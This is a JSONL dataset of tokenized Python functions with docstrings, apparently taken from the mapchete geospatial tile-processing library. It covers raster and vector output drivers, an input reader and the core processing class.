{"signature": "def empty(self, process_tile):", "body": "bands = (<EOL>self.output_params[\"<STR_LIT>\"]<EOL>if \"<STR_LIT>\" in self.output_params<EOL>else PNG_DEFAULT_PROFILE[\"<STR_LIT:count>\"]<EOL>)<EOL>return ma.masked_array(<EOL>data=ma.zeros((bands, ) + process_tile.shape),<EOL>mask=ma.zeros((bands, ) + process_tile.shape),<EOL>dtype=PNG_DEFAULT_PROFILE[\"<STR_LIT>\"]<EOL>)<EOL>", "docstring": "Return empty data.\n\nParameters\n----------\nprocess_tile : ``BufferedTile``\n    must be member of process ``TilePyramid``\n\nReturns\n-------\nempty data : array\n    empty array with data type given in output parameters", "id": "f12813:c0:m6"}
{"signature": "def __init__(self, output_params, **kwargs):", "body": "super(OutputData, self).__init__(output_params)<EOL>self.path = output_params[\"<STR_LIT:path>\"]<EOL>self.file_extension = \"<STR_LIT>\"<EOL>self.output_params = output_params<EOL>self._profile = dict(PNG_DEFAULT_PROFILE)<EOL>self.nodata = self._profile[\"<STR_LIT>\"]<EOL>try:<EOL><INDENT>self.old_band_num = output_params[\"<STR_LIT>\"]<EOL>self._profile.update(count=<NUM_LIT:4>)<EOL><DEDENT>except KeyError:<EOL><INDENT>self.old_band_num = False<EOL><DEDENT>self.output_params.update(dtype=self._profile[\"<STR_LIT>\"])<EOL>self._bucket = self.path.split(\"<STR_LIT:/>\")[<NUM_LIT:2>] if self.path.startswith(\"<STR_LIT>\") else None<EOL>", "docstring": "Initialize.", "id": "f12814:c0:m0"}
{"signature": "def write(self, process_tile, data):", "body": "data = self._prepare_array(data)<EOL>if data.mask.all():<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>bucket_resource = get_boto3_bucket(self._bucket) if self._bucket else None<EOL>for tile in self.pyramid.intersecting(process_tile):<EOL><INDENT>out_path = self.get_path(tile)<EOL>self.prepare_path(tile)<EOL>out_tile = BufferedTile(tile, self.pixelbuffer)<EOL>write_raster_window(<EOL>in_tile=process_tile,<EOL>in_data=data,<EOL>out_profile=self.profile(out_tile),<EOL>out_tile=out_tile,<EOL>out_path=out_path,<EOL>bucket_resource=bucket_resource<EOL>)<EOL><DEDENT><DEDENT>", "docstring": "Write data from process tiles into PNG file(s).\n\nParameters\n----------\nprocess_tile : ``BufferedTile``\n    must be member of process ``TilePyramid``", "id": "f12814:c0:m1"}
{"signature": "def read(self, output_tile, **kwargs):", "body": "try:<EOL><INDENT>return ma.masked_values(<EOL>read_raster_no_crs(<EOL>self.get_path(output_tile), indexes=(<NUM_LIT:4> if self.old_band_num else <NUM_LIT:2>)<EOL>),<EOL><NUM_LIT:0><EOL>)<EOL><DEDENT>except FileNotFoundError:<EOL><INDENT>return self.empty(output_tile)<EOL><DEDENT>", "docstring": "Read existing process output.\n\nParameters\n----------\noutput_tile : ``BufferedTile``\n    must be member of output ``TilePyramid``\n\nReturns\n-------\nprocess output : ``BufferedTile`` with appended data", "id": "f12814:c0:m2"}
{"signature": "def is_valid_with_config(self, config):", "body": "return validate_values(config, [(\"<STR_LIT:path>\", str)])<EOL>", "docstring": "Check if output format is valid with other process parameters.\n\nParameters\n----------\nconfig : dictionary\n    output configuration parameters\n\nReturns\n-------\nis_valid : bool", "id": "f12814:c0:m3"}
{"signature": "def profile(self, tile=None):", "body": "dst_metadata = dict(self._profile)<EOL>if tile is not None:<EOL><INDENT>dst_metadata.update(<EOL>width=tile.width,<EOL>height=tile.height,<EOL>affine=tile.affine, driver=\"<STR_LIT>\",<EOL>crs=tile.crs<EOL>)<EOL><DEDENT>return dst_metadata<EOL>", "docstring": "Create a metadata dictionary for rasterio.\n\nParameters\n----------\ntile : ``BufferedTile``\n\nReturns\n-------\nmetadata : dictionary\n    output profile dictionary used for rasterio.", "id": "f12814:c0:m4"}
{"signature": "def for_web(self, data):", "body": "return (<EOL>memory_file(self._prepare_array(data), self.profile()), \"<STR_LIT>\"<EOL>)<EOL>", "docstring": "Convert data to web output.\n\nParameters\n----------\ndata : array\n\nReturns\n-------\nMemoryFile(), MIME type", "id": "f12814:c0:m5"}
{"signature": "def empty(self, process_tile):", "body": "return ma.masked_values(np.zeros(process_tile.shape), <NUM_LIT:0>)<EOL>", "docstring": "Return empty data.\n\nParameters\n----------\nprocess_tile : ``BufferedTile``\n    must be member of process ``TilePyramid``\n\nReturns\n-------\nempty data : array or list\n    empty array with correct data type for raster data or empty list\n    for vector data", "id": "f12814:c0:m6"}
{"signature": "def __init__(self, output_params, **kwargs):", "body": "super(OutputData, self).__init__(output_params)<EOL>self.path = output_params[\"<STR_LIT:path>\"]<EOL>self.file_extension = \"<STR_LIT>\"<EOL>self.output_params = output_params<EOL>self._bucket = self.path.split(\"<STR_LIT:/>\")[<NUM_LIT:2>] if self.path.startswith(\"<STR_LIT>\") else None<EOL>", "docstring": "Initialize.", "id": "f12815:c0:m0"}
{"signature": "def read(self, output_tile, **kwargs):", "body": "path = self.get_path(output_tile)<EOL>try:<EOL><INDENT>with fiona.open(path, \"<STR_LIT:r>\") as src:<EOL><INDENT>return list(src)<EOL><DEDENT><DEDENT>except DriverError as e:<EOL><INDENT>for i in (\"<STR_LIT>\", \"<STR_LIT>\"):<EOL><INDENT>if i in str(e):<EOL><INDENT>return self.empty(output_tile)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>", "docstring": "Read existing process output.\n\nParameters\n----------\noutput_tile : ``BufferedTile``\n    must be member of output ``TilePyramid``\n\nReturns\n-------\nprocess output : list", "id": "f12815:c0:m1"}
{"signature": "def write(self, process_tile, data):", "body": "if data is None or len(data) == <NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>if not isinstance(data, (list, types.GeneratorType)):<EOL><INDENT>raise TypeError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>data = list(data)<EOL>if not len(data):<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>bucket_resource = get_boto3_bucket(self._bucket) if self._bucket else None<EOL>for tile in self.pyramid.intersecting(process_tile):<EOL><INDENT>out_path = self.get_path(tile)<EOL>self.prepare_path(tile)<EOL>out_tile = BufferedTile(tile, self.pixelbuffer)<EOL>write_vector_window(<EOL>in_data=data,<EOL>out_schema=self.output_params[\"<STR_LIT>\"],<EOL>out_tile=out_tile,<EOL>out_path=out_path,<EOL>bucket_resource=bucket_resource<EOL>)<EOL><DEDENT><DEDENT>", "docstring": "Write data from process tiles into GeoJSON file(s).\n\nParameters\n----------\nprocess_tile : ``BufferedTile``\n    must be member of process ``TilePyramid``", "id": "f12815:c0:m2"}
{"signature": "def is_valid_with_config(self, config):", "body": "validate_values(config, [(\"<STR_LIT>\", dict), (\"<STR_LIT:path>\", str)])<EOL>validate_values(config[\"<STR_LIT>\"], [(\"<STR_LIT>\", dict), (\"<STR_LIT>\", str)])<EOL>if config[\"<STR_LIT>\"][\"<STR_LIT>\"] not in [<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\"<EOL>]:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>return True<EOL>", "docstring": "Check if output format is valid with other process parameters.\n\nParameters\n----------\nconfig : dictionary\n    output configuration parameters\n\nReturns\n-------\nis_valid : bool", "id": "f12815:c0:m3"}
{"signature": "def empty(self, process_tile=None):", "body": "return []<EOL>", "docstring": "Return empty data.\n\nParameters\n----------\nprocess_tile : ``BufferedTile``\n    must be member of process ``TilePyramid``\n\nReturns\n-------\nempty data : list", "id": "f12815:c0:m4"}
{"signature": "def for_web(self, data):", "body": "return list(data), \"<STR_LIT:application/json>\"<EOL>", "docstring": "Convert data to web output (raster only).\n\nParameters\n----------\ndata : array\n\nReturns\n-------\nweb data : array", "id": "f12815:c0:m5"}
{"signature": "def open(self, tile, process):", "body": "return InputTile(tile, process)<EOL>", "docstring": "Open process output as input for other process.\n\nParameters\n----------\ntile : ``Tile``\nprocess : ``MapcheteProcess``", "id": "f12815:c0:m6"}
{"signature": "def __init__(self, tile, process):", "body": "self.tile = tile<EOL>self.process = process<EOL>self._cache = {}<EOL>", "docstring": "Initialize.", "id": "f12815:c1:m0"}
{"signature": "def read(self, validity_check=True, no_neighbors=False, **kwargs):", "body": "if no_neighbors:<EOL><INDENT>raise NotImplementedError()<EOL><DEDENT>return self._from_cache(validity_check=validity_check)<EOL>", "docstring": "Read data from process output.\n\nParameters\n----------\nvalidity_check : bool\n    run geometry validity check (default: True)\nno_neighbors : bool\n    don't include neighbor tiles if there is a pixelbuffer (default:\n    False)\n\nReturns\n-------\nfeatures : list\n    GeoJSON-like list of features", "id": "f12815:c1:m1"}
{"signature": "def is_empty(self, validity_check=True):", "body": "return len(self._from_cache(validity_check=validity_check)) == <NUM_LIT:0><EOL>", "docstring": "Check if there is data within this tile.\n\nReturns\n-------\nis empty : bool", "id": "f12815:c1:m2"}
{"signature": "def __enter__(self):", "body": "return self<EOL>", "docstring": "Enable context manager.", "id": "f12815:c1:m4"}
{"signature": "def __exit__(self, t, v, tb):", "body": "self._cache = {}<EOL>", "docstring": "Clear cache on close.", "id": "f12815:c1:m5"}
{"signature": "def get_segmentize_value(input_file=None, tile_pyramid=None):", "body": "warnings.warn(DeprecationWarning(\"<STR_LIT>\"))<EOL>return io.get_segmentize_value(input_file, tile_pyramid)<EOL>", "docstring": "Return the recommended segmentation value in input file units.\n\nIt is calculated by multiplyling raster pixel size with tile shape in\npixels.\n\nParameters\n----------\ninput_file : str\n    location of a file readable by rasterio\ntile_pyramied : ``TilePyramid`` or ``BufferedTilePyramid``\n    tile pyramid to estimate target tile size\n\nReturns\n-------\nsegmenize value : float\n    length suggested of line segmentation to reproject file bounds", "id": "f12816:m0"}
{"signature": "def __init__(self, input_params, **kwargs):", "body": "super(InputData, self).__init__(input_params, **kwargs)<EOL>self.path = input_params[\"<STR_LIT:path>\"]<EOL>", "docstring": "Initialize.", "id": "f12816:c0:m0"}
{"signature": "@cached_property<EOL><INDENT>def profile(self):<DEDENT>", "body": "with rasterio.open(self.path, \"<STR_LIT:r>\") as src:<EOL><INDENT>return deepcopy(src.meta)<EOL><DEDENT>", "docstring": "Return raster metadata.", "id": "f12816:c0:m1"}
{"signature": "def open(self, tile, **kwargs):", "body": "return InputTile(tile, self, **kwargs)<EOL>", "docstring": "Return InputTile object.\n\nParameters\n----------\ntile : ``Tile``\n\nReturns\n-------\ninput tile : ``InputTile``\n    tile view of input data", "id": "f12816:c0:m2"}
{"signature": "def bbox(self, out_crs=None):", "body": "out_crs = self.pyramid.crs if out_crs is None else out_crs<EOL>with rasterio.open(self.path) as inp:<EOL><INDENT>inp_crs = inp.crs<EOL>out_bbox = bbox = box(*inp.bounds)<EOL><DEDENT>if inp_crs != out_crs:<EOL><INDENT>return reproject_geometry(<EOL>segmentize_geometry(<EOL>bbox, inp.transform[<NUM_LIT:0>] * self.pyramid.tile_size<EOL>),<EOL>src_crs=inp_crs, dst_crs=out_crs<EOL>)<EOL><DEDENT>else:<EOL><INDENT>return out_bbox<EOL><DEDENT>", "docstring": "Return data bounding box.\n\nParameters\n----------\nout_crs : ``rasterio.crs.CRS``\n    rasterio CRS object (default: CRS of process pyramid)\n\nReturns\n-------\nbounding box : geometry\n    Shapely geometry object", "id": "f12816:c0:m3"}
{"signature": "def exists(self):", "body": "return os.path.isfile(self.path)<EOL>", "docstring": "Check if data or file even exists.\n\nReturns\n-------\nfile exists : bool", "id": "f12816:c0:m4"}
{"signature": "def __init__(self, tile, raster_file, resampling=\"<STR_LIT>\", **kwargs):", "body": "self.tile = tile<EOL>self.raster_file = raster_file<EOL>self.resampling = resampling<EOL>if io.path_is_remote(raster_file.path):<EOL><INDENT>file_ext = os.path.splitext(raster_file.path)[<NUM_LIT:1>]<EOL>self.gdal_opts = {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT>\": \"<STR_LIT>\" % file_ext}<EOL><DEDENT>else:<EOL><INDENT>self.gdal_opts = {}<EOL><DEDENT>", "docstring": "Initialize.", "id": "f12816:c1:m0"}
{"signature": "def read(self, indexes=None, **kwargs):", "body": "return read_raster_window(<EOL>self.raster_file.path,<EOL>self.tile,<EOL>indexes=self._get_band_indexes(indexes),<EOL>resampling=self.resampling,<EOL>gdal_opts=self.gdal_opts<EOL>)<EOL>", "docstring": "Read reprojected & resampled input data.\n\nReturns\n-------\ndata : array", "id": "f12816:c1:m1"}
{"signature": "def is_empty(self, indexes=None):", "body": "<EOL>return not self.tile.bbox.intersects(<EOL>self.raster_file.bbox(out_crs=self.tile.crs)<EOL>)<EOL>", "docstring": "Check if there is data within this tile.\n\nReturns\n-------\nis empty : bool", "id": "f12816:c1:m2"}
{"signature": "def _get_band_indexes(self, indexes=None):", "body": "if indexes:<EOL><INDENT>if isinstance(indexes, list):<EOL><INDENT>return indexes<EOL><DEDENT>else:<EOL><INDENT>return [indexes]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return range(<NUM_LIT:1>, self.raster_file.profile[\"<STR_LIT:count>\"] + <NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Return valid band indexes.", "id": "f12816:c1:m3"}
{"signature": "def execute(mp):", "body": "pass<EOL>", "docstring": "Insert your python code here.\n\nAccess input data specified in the .mapchete file:\n\nwith mp.open(\"<input_id>\") as src:\n    data = src.read()\n\nFor vector data a list of features is returned, for raster data a numpy\narray. Data is already reprojected.\n\nTo write the process output simply return a feature list or numpy array:\n\nreturn modified_data\n\nPlease note the returned data type has to match the output type specified\nin the .mapchete file.", "id": "f12817:m0"}
{"signature": "def open(<EOL>config, mode=\"<STR_LIT>\", zoom=None, bounds=None, single_input_file=None,<EOL>with_cache=False, debug=False<EOL>):", "body": "return Mapchete(<EOL>MapcheteConfig(<EOL>config, mode=mode, zoom=zoom, bounds=bounds,<EOL>single_input_file=single_input_file, debug=debug),<EOL>with_cache=with_cache)<EOL>", "docstring": "Open a Mapchete process.\n\nParameters\n----------\nconfig : MapcheteConfig object, config dict or path to mapchete file\n    Mapchete process configuration\nmode : string\n    * ``memory``: Generate process output on demand without reading\n      pre-existing data or writing new data.\n    * ``readonly``: Just read data without processing new data.\n    * ``continue``: (default) Don't overwrite existing output.\n    * ``overwrite``: Overwrite existing output.\nzoom : list or integer\n    process zoom level or a pair of minimum and maximum zoom level\nbounds : tuple\n    left, bottom, right, top process boundaries in output pyramid\nsingle_input_file : string\n    single input file if supported by process\nwith_cache : bool\n    process output data cached in memory\n\nReturns\n-------\nMapchete\n    a Mapchete process object", "id": "f12819:m0"}
{"signature": "def count_tiles(geometry, pyramid, minzoom, maxzoom, init_zoom=<NUM_LIT:0>):", "body": "if not <NUM_LIT:0> <= init_zoom <= minzoom <= maxzoom:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>unbuffered_pyramid = TilePyramid(<EOL>pyramid.grid, tile_size=pyramid.tile_size,<EOL>metatiling=pyramid.metatiling<EOL>)<EOL>geometry = geometry.buffer(-<NUM_LIT>)<EOL>return _count_tiles(<EOL>[<EOL>unbuffered_pyramid.tile(*tile_id)<EOL>for tile_id in product(<EOL>[init_zoom],<EOL>range(pyramid.matrix_height(init_zoom)),<EOL>range(pyramid.matrix_width(init_zoom))<EOL>)<EOL>], geometry, minzoom, maxzoom<EOL>)<EOL>", "docstring": "Count number of tiles intersecting with geometry.\n\nParameters\n----------\ngeometry : shapely geometry\npyramid : TilePyramid\nminzoom : int\nmaxzoom : int\ninit_zoom : int\n\nReturns\n-------\nnumber of tiles", "id": "f12819:m1"}
{"signature": "def _get_zoom_level(zoom, process):", "body": "if zoom is None:<EOL><INDENT>return reversed(process.config.zoom_levels)<EOL><DEDENT>if isinstance(zoom, int):<EOL><INDENT>return [zoom]<EOL><DEDENT>elif len(zoom) == <NUM_LIT:2>:<EOL><INDENT>return reversed(range(min(zoom), max(zoom)+<NUM_LIT:1>))<EOL><DEDENT>elif len(zoom) == <NUM_LIT:1>:<EOL><INDENT>return zoom<EOL><DEDENT>", "docstring": "Determine zoom levels.", "id": "f12819:m6"}
{"signature": "def _process_worker(process, process_tile):", "body": "logger.debug((process_tile.id, \"<STR_LIT>\" % current_process().name))<EOL>if (<EOL>process.config.mode == \"<STR_LIT>\" and<EOL>process.config.output.tiles_exist(process_tile)<EOL>):<EOL><INDENT>logger.debug((process_tile.id, \"<STR_LIT>\"))<EOL>return ProcessInfo(<EOL>tile=process_tile,<EOL>processed=False,<EOL>process_msg=\"<STR_LIT>\",<EOL>written=False,<EOL>write_msg=\"<STR_LIT>\"<EOL>)<EOL><DEDENT>else:<EOL><INDENT>with Timer() as t:<EOL><INDENT>try:<EOL><INDENT>output = process.execute(process_tile, raise_nodata=True)<EOL><DEDENT>except MapcheteNodataTile:<EOL><INDENT>output = None<EOL><DEDENT><DEDENT>processor_message = \"<STR_LIT>\" % t<EOL>logger.debug((process_tile.id, processor_message))<EOL>writer_info = process.write(process_tile, output)<EOL>return ProcessInfo(<EOL>tile=process_tile,<EOL>processed=True,<EOL>process_msg=processor_message,<EOL>written=writer_info.written,<EOL>write_msg=writer_info.write_msg<EOL>)<EOL><DEDENT>", "docstring": "Worker function running the process.", "id": "f12819:m7"}
{"signature": "def __init__(self, config, with_cache=False):", "body": "logger.info(\"<STR_LIT>\")<EOL>if not isinstance(config, MapcheteConfig):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>self.config = config<EOL>self.process_name = self.config.process_name<EOL>self.with_cache = True if self.config.mode == \"<STR_LIT>\" else with_cache<EOL>if self.with_cache:<EOL><INDENT>self.process_tile_cache = LRUCache(maxsize=<NUM_LIT>)<EOL>self.current_processes = {}<EOL>self.process_lock = threading.Lock()<EOL><DEDENT>self._count_tiles_cache = {}<EOL>", "docstring": "Initialize Mapchete processing endpoint.\n\nParameters\n----------\nconfig : MapcheteConfig\n    Mapchete process configuration\nwith_cache : bool\n    cache processed output data in memory (default: False)", "id": "f12819:c0:m0"}
{"signature": "def get_process_tiles(self, zoom=None):", "body": "if zoom or zoom == <NUM_LIT:0>:<EOL><INDENT>for tile in self.config.process_pyramid.tiles_from_geom(<EOL>self.config.area_at_zoom(zoom), zoom<EOL>):<EOL><INDENT>yield tile<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for zoom in reversed(self.config.zoom_levels):<EOL><INDENT>for tile in self.config.process_pyramid.tiles_from_geom(<EOL>self.config.area_at_zoom(zoom), zoom<EOL>):<EOL><INDENT>yield tile<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Yield process tiles.\n\nTiles intersecting with the input data bounding boxes as well as\nprocess bounds, if provided, are considered process tiles. This is to\navoid iterating through empty tiles.\n\nParameters\n----------\nzoom : integer\n    zoom level process tiles should be returned from; if none is given,\n    return all process tiles\n\nyields\n------\nBufferedTile objects", "id": "f12819:c0:m1"}
{"signature": "def batch_process(<EOL>self, zoom=None, tile=None, multi=cpu_count(), max_chunksize=<NUM_LIT:1><EOL>):", "body": "list(self.batch_processor(zoom, tile, multi, max_chunksize))<EOL>", "docstring": "Process a large batch of tiles.\n\nParameters\n----------\nprocess : MapcheteProcess\n    process to be run\nzoom : list or int\n    either single zoom level or list of minimum and maximum zoom level;\n    None processes all (default: None)\ntile : tuple\n    zoom, row and column of tile to be processed (cannot be used with\n    zoom)\nmulti : int\n    number of workers (default: number of CPU cores)\nmax_chunksize : int\n    maximum number of process tiles to be queued for each worker;\n    (default: 1)", "id": "f12819:c0:m2"}
{"signature": "def batch_processor(<EOL>self, zoom=None, tile=None, multi=cpu_count(), max_chunksize=<NUM_LIT:1><EOL>):", "body": "if zoom and tile:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if tile:<EOL><INDENT>yield _run_on_single_tile(self, tile)<EOL><DEDENT>elif multi > <NUM_LIT:1>:<EOL><INDENT>for process_info in _run_with_multiprocessing(<EOL>self, list(_get_zoom_level(zoom, self)), multi, max_chunksize<EOL>):<EOL><INDENT>yield process_info<EOL><DEDENT><DEDENT>elif multi == <NUM_LIT:1>:<EOL><INDENT>for process_info in _run_without_multiprocessing(<EOL>self, list(_get_zoom_level(zoom, self))<EOL>):<EOL><INDENT>yield process_info<EOL><DEDENT><DEDENT>", "docstring": "Process a large batch of tiles and yield report messages per tile.\n\nParameters\n----------\nzoom : list or int\n    either single zoom level or list of minimum and maximum zoom level;\n    None processes all (default: None)\ntile : tuple\n    zoom, row and column of tile to be processed (cannot be used with\n    zoom)\nmulti : int\n    number of workers (default: number of CPU cores)\nmax_chunksize : int\n    maximum number of process tiles to be queued for each worker;\n    (default: 1)", "id": "f12819:c0:m3"}
{"signature": "def count_tiles(self, minzoom, maxzoom, init_zoom=<NUM_LIT:0>):", "body": "if (minzoom, maxzoom) not in self._count_tiles_cache:<EOL><INDENT>self._count_tiles_cache[(minzoom, maxzoom)] = count_tiles(<EOL>self.config.area_at_zoom(), self.config.process_pyramid,<EOL>minzoom, maxzoom, init_zoom=<NUM_LIT:0><EOL>)<EOL><DEDENT>return self._count_tiles_cache[(minzoom, maxzoom)]<EOL>", "docstring": "Count number of tiles intersecting with geometry.\n\nParameters\n----------\ngeometry : shapely geometry\npyramid : TilePyramid\nminzoom : int\nmaxzoom : int\ninit_zoom : int\n\nReturns\n-------\nnumber of tiles", "id": "f12819:c0:m4"}
{"signature": "def execute(self, process_tile, raise_nodata=False):", "body": "if self.config.mode not in [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if isinstance(process_tile, tuple):<EOL><INDENT>process_tile = self.config.process_pyramid.tile(*process_tile)<EOL><DEDENT>elif isinstance(process_tile, BufferedTile):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if process_tile.zoom not in self.config.zoom_levels:<EOL><INDENT>return self.config.output.empty(process_tile)<EOL><DEDENT>return self._execute(process_tile, raise_nodata=raise_nodata)<EOL>", "docstring": "Run the Mapchete process.\n\nExecute, write and return data.\n\nParameters\n----------\nprocess_tile : Tile or tile index tuple\n    Member of the process tile pyramid (not necessarily the output\n    pyramid, if output has a different metatiling setting)\n\nReturns\n-------\ndata : NumPy array or features\n    process output", "id": "f12819:c0:m5"}
{"signature": "def read(self, output_tile):", "body": "if self.config.mode not in [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if isinstance(output_tile, tuple):<EOL><INDENT>output_tile = self.config.output_pyramid.tile(*output_tile)<EOL><DEDENT>elif isinstance(output_tile, BufferedTile):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>return self.config.output.read(output_tile)<EOL>", "docstring": "Read from written process output.\n\nParameters\n----------\noutput_tile : BufferedTile or tile index tuple\n    Member of the output tile pyramid (not necessarily the process\n    pyramid, if output has a different metatiling setting)\n\nReturns\n-------\ndata : NumPy array or features\n    process output", "id": "f12819:c0:m6"}
{"signature": "def write(self, process_tile, data):", "body": "if isinstance(process_tile, tuple):<EOL><INDENT>process_tile = self.config.process_pyramid.tile(*process_tile)<EOL><DEDENT>elif not isinstance(process_tile, BufferedTile):<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % type(process_tile))<EOL><DEDENT>if self.config.mode not in [\"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if self.config.mode == \"<STR_LIT>\" and (<EOL>self.config.output.tiles_exist(process_tile)<EOL>):<EOL><INDENT>message = \"<STR_LIT>\"<EOL>logger.debug((process_tile.id, message))<EOL>return ProcessInfo(<EOL>tile=process_tile,<EOL>processed=False,<EOL>process_msg=None,<EOL>written=False,<EOL>write_msg=message<EOL>)<EOL><DEDENT>elif data is None:<EOL><INDENT>message = \"<STR_LIT>\"<EOL>logger.debug((process_tile.id, message))<EOL>return ProcessInfo(<EOL>tile=process_tile,<EOL>processed=False,<EOL>process_msg=None,<EOL>written=False,<EOL>write_msg=message<EOL>)<EOL><DEDENT>else:<EOL><INDENT>with Timer() as t:<EOL><INDENT>self.config.output.write(process_tile=process_tile, data=data)<EOL><DEDENT>message = \"<STR_LIT>\" % t<EOL>logger.debug((process_tile.id, message))<EOL>return ProcessInfo(<EOL>tile=process_tile,<EOL>processed=False,<EOL>process_msg=None,<EOL>written=True,<EOL>write_msg=message<EOL>)<EOL><DEDENT>", "docstring": "Write data into output format.\n\nParameters\n----------\nprocess_tile : BufferedTile or tile index tuple\n    process tile\ndata : NumPy array or features\n    data to be written", "id": "f12819:c0:m7"}
{"signature": "def get_raw_output(self, tile, _baselevel_readonly=False):", "body": "if not isinstance(tile, (BufferedTile, tuple)):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if isinstance(tile, tuple):<EOL><INDENT>tile = self.config.output_pyramid.tile(*tile)<EOL><DEDENT>if _baselevel_readonly:<EOL><INDENT>tile = self.config.baselevels[\"<STR_LIT>\"].tile(*tile.id)<EOL><DEDENT>if tile.zoom not in self.config.zoom_levels:<EOL><INDENT>return self.config.output.empty(tile)<EOL><DEDENT>if tile.crs != self.config.process_pyramid.crs:<EOL><INDENT>raise NotImplementedError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>if self.config.mode == \"<STR_LIT>\":<EOL><INDENT>process_tile = self.config.process_pyramid.intersecting(tile)[<NUM_LIT:0>]<EOL>return self._extract(<EOL>in_tile=process_tile,<EOL>in_data=self._execute_using_cache(process_tile),<EOL>out_tile=tile<EOL>)<EOL><DEDENT>process_tile = self.config.process_pyramid.intersecting(tile)[<NUM_LIT:0>]<EOL>if tile.pixelbuffer > self.config.output.pixelbuffer:<EOL><INDENT>output_tiles = list(self.config.output_pyramid.tiles_from_bounds(<EOL>tile.bounds, tile.zoom<EOL>))<EOL><DEDENT>else:<EOL><INDENT>output_tiles = self.config.output_pyramid.intersecting(tile)<EOL><DEDENT>if self.config.mode == \"<STR_LIT>\" or _baselevel_readonly:<EOL><INDENT>if self.config.output.tiles_exist(process_tile):<EOL><INDENT>return self._read_existing_output(tile, output_tiles)<EOL><DEDENT>else:<EOL><INDENT>return self.config.output.empty(tile)<EOL><DEDENT><DEDENT>elif self.config.mode == \"<STR_LIT>\" and not _baselevel_readonly:<EOL><INDENT>if self.config.output.tiles_exist(process_tile):<EOL><INDENT>return self._read_existing_output(tile, output_tiles)<EOL><DEDENT>else:<EOL><INDENT>return self._process_and_overwrite_output(tile, process_tile)<EOL><DEDENT><DEDENT>elif self.config.mode == \"<STR_LIT>\" and not _baselevel_readonly:<EOL><INDENT>return self._process_and_overwrite_output(tile, process_tile)<EOL><DEDENT>", "docstring": "Get output raw data.\n\nThis function won't work with multiprocessing, as it uses the\n``threading.Lock()`` class.\n\nParameters\n----------\ntile : tuple, Tile or BufferedTile\n    If a tile index is given, a tile from the output pyramid will be\n    assumed. Tile cannot be bigger than process tile!\n\nReturns\n-------\ndata : NumPy array or features\n    process output", "id": "f12819:c0:m8"}
{"signature": "def _extract(self, in_tile=None, in_data=None, out_tile=None):", "body": "return self.config.output.extract_subset(<EOL>input_data_tiles=[(in_tile, in_data)],<EOL>out_tile=out_tile<EOL>)<EOL>", "docstring": "Extract data from tile.", "id": "f12819:c0:m12"}
{"signature": "def __enter__(self):", "body": "return self<EOL>", "docstring": "Enable context manager.", "id": "f12819:c0:m16"}
{"signature": "def __exit__(self, t, v, tb):", "body": "for ip in self.config.input.values():<EOL><INDENT>if ip is not None:<EOL><INDENT>ip.cleanup()<EOL><DEDENT><DEDENT>if self.with_cache:<EOL><INDENT>self.process_tile_cache = None<EOL>self.current_processes = None<EOL>self.process_lock = None<EOL><DEDENT>", "docstring": "Cleanup on close.", "id": "f12819:c0:m17"}
{"signature": "def __init__(self, tile, config=None, params=None):", "body": "self.identifier = \"<STR_LIT>\"<EOL>self.title = \"<STR_LIT>\"<EOL>self.version = \"<STR_LIT>\"<EOL>self.abstract = \"<STR_LIT>\"<EOL>self.tile = tile<EOL>self.tile_pyramid = tile.tile_pyramid<EOL>self.params = params if params else config.params_at_zoom(tile.zoom)<EOL>self.config = config<EOL>", "docstring": "Initialize Mapchete process.", "id": "f12819:c1:m0"}
{"signature": "def write(self, data, **kwargs):", "body": "raise DeprecationWarning(<EOL>\"<STR_LIT>\")<EOL>", "docstring": "Deprecated.", "id": "f12819:c1:m1"}
{"signature": "def read(self, **kwargs):", "body": "if self.tile.pixelbuffer > self.config.output.pixelbuffer:<EOL><INDENT>output_tiles = list(self.config.output_pyramid.tiles_from_bounds(<EOL>self.tile.bounds, self.tile.zoom<EOL>))<EOL><DEDENT>else:<EOL><INDENT>output_tiles = self.config.output_pyramid.intersecting(self.tile)<EOL><DEDENT>return self.config.output.extract_subset(<EOL>input_data_tiles=[<EOL>(output_tile, self.config.output.read(output_tile))<EOL>for output_tile in output_tiles<EOL>],<EOL>out_tile=self.tile,<EOL>)<EOL>", "docstring": "Read existing output data from a previous run.\n\nReturns\n-------\nprocess output : NumPy array (raster) or feature iterator (vector)", "id": "f12819:c1:m2"}
